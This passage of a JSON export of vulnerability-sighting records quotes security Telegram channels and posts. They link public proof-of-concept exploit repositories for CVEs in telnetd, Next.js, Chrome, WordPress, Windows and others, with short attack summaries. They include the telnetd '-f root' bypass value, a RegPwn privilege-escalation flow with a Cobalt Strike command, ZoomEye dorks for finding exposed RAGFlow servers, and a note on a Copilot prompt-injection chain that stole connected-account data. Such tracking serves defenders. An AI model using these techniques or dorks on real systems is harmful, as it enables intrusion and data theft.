scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.318776Z"}, {"uuid": "d061c664-8d67-4e21-a1ae-557832ff799b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30149", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.811356Z"}, {"uuid": "766ed8b4-82d3-47f1-9ee3-ced896385c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24014", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqdjnn2lds2v", "content": "Three Apache IoTDB vulnerabilities include a critical path traversal (CVE-2026-24014) and an authentication bypass. Upgrade to 2.0.8 now.\n\n#ApacheIoTDB #PathTraversal #AuthBypass #CVE #IoTSecurity #InfoSec", "creation_timestamp": "2026-07-11T01:37:42.865942Z"}, {"uuid": "7a3f113c-1dce-47f4-a4fc-3848fce7c78c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30204", "content": "\ud83d\udd25 Windows LPE Exploit \u2014 RegPwn (CVE-2026-24291)\n\u2694\ufe0f Registry Symlink Privilege Escalation via Accessibility Mechanism\n\n\ud83d\udccc Research / Blog\n\ud83d\udc49https://www.mdsec.co.uk/2026/03/rip-regpwn/\n\n\ud83d\udccc GitHub (Exploit)\n\ud83d\udc49https://github.com/mdsecactivebreach/RegPwn\n\n\ud83d\udccc GitHub (BOF / Cobalt Strike)\n\ud83d\udc49https://github.com/Flangvik/RegPwnBOF\n\n\ud83d\udcd6 Description\nRegPwn is a Local Privilege Escalation (LPE) vulnerability in Windows\naffecting Windows 10, Windows 11, and multiple Windows Server versions.\n\nIt was discovered and used internally by MDSec during Red Team operations\nsince early 2025, and later patched in March 2026.\n\nTracked as:\n\ud83d\udc49 CVE-2026-24291\n\n\u2699\ufe0f Vulnerability Overview\nThe issue exists in the Windows Accessibility (ATBroker / ATConfig) mechanism.\nMisconfigured registry permissions\nUser-controlled registry data copied into privileged context\nWritable HKLM registry path exposed to low-priv users\n\ud83d\udc49 Leads to arbitrary registry write as SYSTEM\nAccording to CVE:\nIncorrect permission assignment allows local privilege escalation\n\n\ud83e\udde0 Exploitation Concept\nRegistry Flow Abuse\nHKCU (User Controlled)\n        \u2193\nHKLM Session Key (Writable)\n        \u2193\nHKU\\.DEFAULT (SYSTEM Context)\n        \u2193\nSYSTEM Process Execution\n\nCore Technique\n\u2022 Registry Symlink Abuse\n\u2022 Race Condition (Oplock)\n\u2022 Accessibility Feature Trigger (osk.exe)\n\ud83d\udc49 Result:\nLow Priv User \u2192 SYSTEM Privilege\n\n\u2694\ufe0f Exploit Details\nThe exploit abuses:\n\u2022 Accessibility configuration registry keys\n\u2022 Secure Desktop behavior\n\u2022 ATbroker.exe interaction\n\u2022 osk.exe execution timing\n\ud83d\udc49 By combining:\n\u2022 Opportunistic Lock (Oplock)\n\u2022 Registry Symbolic Link\nAn attacker can redirect writes to arbitrary SYSTEM registry locations\n\n\ud83d\udca3 Practical Impact\n\u2022 Local Privilege Escalation (LPE)\n\u2022 Full SYSTEM access\n\u2022 Service ImagePath hijacking\n\u2022 Payload execution as SYSTEM\n\n\ud83e\uddec GitHub \u2014 Exploit Implementation\n\u2699\ufe0f RegPwn (Original Exploit)\n\u2022 Language: C#\n\u2022 Targets:\n   \u2022 Windows 10 / 11\n   \u2022 Windows Server 2016 / 2019 / 2022\n   \u2022 Based on blog research\n\ud83d\udc49 Direct PoC for LPE\n\n\u2694\ufe0f RegPwnBOF (Cobalt Strike BOF)\n\u2022 BOF implementation of exploit\n\u2022 Designed for post-exploitation use\n\u2022 Supports:\nbeacon> regpwn payload.exe\n\ud83d\udc49 Enables SYSTEM escalation inside C2 operations\n\n\ud83e\udde0 Red Team Insight\nReal-World Usage Flow\nInitial Access\n     \u2193\nBeacon / Agent\n     \u2193\nRegPwn Execution\n     \u2193\nSYSTEM Privilege\n     \u2193\nLateral Movement / Persistence\n\nWhy This Matters\n\u2714\ufe0f Works on multiple Windows versions\n\u2714\ufe0f Reliable LPE vector\n\u2714\ufe0f BOF integration available\n\u2714\ufe0f Useful for post-exploitation chains\n\n\ud83d\ude80 Key Takeaways\n\u2022 Accessibility features can expose privileged pathways\n\u2022 Registry permission misconfig = critical attack surface\n\u2022 Race conditions + symlink = powerful LPE combo\n\u2022 Direct integration into C2 frameworks\n\n\u26a0\ufe0f Patch Status\n\u2714\ufe0f Fixed in March 2026 Patch Tuesday\n\u2714\ufe0f Affects pre-patch Windows environments\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.990120Z"}, {"uuid": "7b2e06b1-1d49-4fea-9fac-2fa1aa5a3a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/CyberSecurityExploit/30322", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.765353Z"}, {"uuid": "16d72c4b-d13b-4f3f-861d-1c21d4880084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/CyberSecurityExploit/30322", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.818655Z"}, {"uuid": "e6f0591a-5979-4be4-b9d9-51a0285416a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2476", "content": "\u26a0\ufe0fCVE-2026-24061- telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.\n\n\ud83d\ude08https://github.com/SafeBreach-Labs/CVE-2026-24061", "creation_timestamp": "2026-07-11T10:00:05.249915Z"}, {"uuid": "5aca9b73-a8c4-4725-9c11-b9ed002aa8ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2514", "content": "\ud83d\udea8 CVE-2026-24770: RAGFlow RCE (Zip Slip) Weaponized PoC\n\nCritical unauthenticated RCE in RAGFlow\u2019s MinerUParser\u2014attackers can execute arbitrary commands. 3,000+ instances are currently exposed.\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-24770\"\n\nDork: app=\"RAGFlow\" \ud83d\udc49 ZoomEye Search Link https://www.zoomeye.ai/searchResult?q=dnVsLmN2ZT0iQ1ZFLTIwMjYtMjQ3NzAi&utm_source=twitter&utm_medium=social&utm_campaign=cve_ops_20260209", "creation_timestamp": "2026-07-11T10:00:05.332434Z"}, {"uuid": "a2c28cb5-921f-4fa6-bbc8-e92d2bddcee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://t.me/wh_lab/575", "content": "\ud83d\udcf0 \u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u0437\u0430 \u044d\u0442\u0443 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83e\udd8e AdaptixC2 v1.1\n\n\ud83d\udcbb Advancing Windows security: Disabling NTLM by default\n\n\ud83d\udcf0 \u0416\u0443\u0440\u043d\u0430\u043b Backconnect\n\n\ud83d\udcbb Stratus Red Team v2.32.2\n\n\ud83d\udcbb ADACLScanner v9.4\n\n\ud83d\udcbb GhostKatz - \u0434\u0430\u043c\u043f LSASS \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\n\n\u2699 CVE-2026-24002 - RCE sandbox escape in Grist\u2011Core\n\n\ud83c\udf83 Awesome Hacker Search Engines\n\n\ud83d\udd78 Top 10 web hacking techniques of 2025\n\n\ud83d\udcbb LEHACK 2025 (Active Directory Lab)\n\n\ud83d\udc15 BloodHound CE v8.5.2\n\n#digest #useful #posts\n\n\u2708\ufe0f Telegram \ud83d\udcac MAX", "creation_timestamp": "2026-08-16T00:00:48.488593Z"}, {"uuid": "5d4e7e80-3720-45a3-9c0a-5c6b422a72b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2476", "content": "\u26a0\ufe0fCVE-2026-24061- telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.\n\n\ud83d\ude08https://github.com/SafeBreach-Labs/CVE-2026-24061", "creation_timestamp": "2026-07-12T00:00:51.809754Z"}, {"uuid": "2c62b6f1-dce5-4fb5-aacd-a855dfc12b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2514", "content": "\ud83d\udea8 CVE-2026-24770: RAGFlow RCE (Zip Slip) Weaponized PoC\n\nCritical unauthenticated RCE in RAGFlow\u2019s MinerUParser\u2014attackers can execute arbitrary commands. 3,000+ instances are currently exposed.\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-24770\"\n\nDork: app=\"RAGFlow\" \ud83d\udc49 ZoomEye Search Link https://www.zoomeye.ai/searchResult?q=dnVsLmN2ZT0iQ1ZFLTIwMjYtMjQ3NzAi&utm_source=twitter&utm_medium=social&utm_campaign=cve_ops_20260209", "creation_timestamp": "2026-07-12T00:00:51.897333Z"}, {"uuid": "880604ac-497c-4d37-9694-bb4403a513e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24301", "type": "seen", "source": "https://gist.github.com/cyberupdates365/2162e9f0da3d970a21147d1c28caaaf8", "content": "# Critical Microsoft Copilot CoSnitch Vulnerability CVE-2026-24301 Explained\n\nDiscover how the critical microsoft copilot cosnitch vulnerability cve-2026-24301 allowed attackers to steal sensitive data with a single click using meta-hacking.\n\nA severe security flaw tracked as the microsoft copilot cosnitch vulnerability cve-2026-24301 has exposed the hidden risks of connecting third-party applications to personal AI assistants. Discovered by researchers at Varonis Threat Labs, this vulnerability allowed attackers to silently siphon sensitive data from a victim's connected accounts (such as Gmail and Google Drive) with just a single click on a malicious link.\n\nMicrosoft officially patched the vulnerability in Copilot Personal on August 18, 2026. The vulnerability was not a traditional buffer overflow; it was a sophisticated chain of prompt injection and command injection leveraging an undocumented URL parameter (`autorun=1`).\n\n\ud83d\udd17 **[Read the Full Technical Breakdown and Mitigation Steps on CyberUpdates365](https://cyberupdates365.com/copilot-cosnitch-cve-2026-24301/)**", "creation_timestamp": "2026-08-19T08:39:55.037417Z"}, {"uuid": "61372a95-945b-4bb0-9741-46a64d86b96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/true_secator/8294", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 0-day \u0432 Chrome, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0441\u0442\u0430\u0432 \u043f\u044f\u0442\u044b\u043c \u043d\u0443\u043b\u0435\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e CVE-2026-11645, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 Desktop, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Windows (149.0.7827.102), Mac (149.0.7827.103) \u0438 Linux (149.0.7827.102) \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 Google.\n\nGoogle \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u044f\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0438\u043b\u0438 \u043d\u0435\u0434\u0435\u043b\u044c, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Chrome.\n\n\u0412\u043e\u043e\u0431\u0449\u0435, \u044d\u0442\u0430 \u043a\u0440\u0430\u0439\u043d\u0435 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 Chrome V8.\n\n\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 